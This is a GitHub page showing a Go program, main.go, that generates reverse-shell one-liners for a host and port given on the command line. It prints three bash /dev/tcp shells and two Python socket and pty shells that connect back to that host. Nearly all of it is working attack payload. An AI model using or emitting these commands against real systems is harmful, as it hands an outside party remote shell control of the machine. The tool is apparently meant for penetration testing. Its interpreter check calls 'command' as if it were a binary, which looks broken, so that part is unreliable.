-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.go
More file actions
67 lines (52 loc) · 1.9 KB
/
main.go
File metadata and controls
67 lines (52 loc) · 1.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package main
import (
"flag"
"fmt"
"os/exec"
)
/*
* Bash colors and formatting for prettier output
*/
const (
Yellow = "\033[1;33m%s\033[0m"
Italic = "\033[3m%s\033[0m"
)
func main() {
var host string
flag.StringVar(&host, "host", "127.0.0.1", "Host IP address")
var port int
flag.IntVar(&port, "port", 4444, "Host port")
flag.Parse()
fmt.Printf(Yellow, "\n[inputs]\n\n")
fmt.Println("host:", host)
fmt.Println("port:", port)
// fmt.Println("tail:", flag.Args())
if isCommandAvailable("bash", "-v") {
fmt.Printf(Yellow, "\n[bash]\n\n")
bash1 := fmt.Sprintf("bash -i >& /dev/tcp/%s/%d 0>&1", host, port)
fmt.Printf(Italic, "Bash 1\n")
fmt.Println(bash1 + "\n")
bash2 := fmt.Sprintf("0<&196;exec 196<>/dev/tcp/%s/%d; sh <&196 >&196 2>&196", host, port)
fmt.Printf(Italic, "Bash 2\n")
fmt.Println(bash2 + "\n")
bash3 := fmt.Sprintf("exec 5<>/dev/tcp/%s/%d | cat <&5 | while read line; do $line 2>&5 >&5; done", host, port)
fmt.Printf(Italic, "Bash 3\n")
fmt.Println(bash3 + "\n")
}
if isCommandAvailable("python", "-v") {
fmt.Printf(Yellow, "\n[python]\n\n")
pythonSocket := fmt.Sprintf("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\", %d));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", host, port)
fmt.Printf(Italic, "Uses socket\n")
fmt.Println(pythonSocket + "\n")
pythonPty := fmt.Sprintf("python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%d));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'", host, port)
fmt.Printf(Italic, "Uses pty\n")
fmt.Println(pythonPty + "\n")
}
}
func isCommandAvailable(name string, args string) bool {
cmd := exec.Command("command", args, name)
if err := cmd.Run(); err != nil {
return false
}
return true
}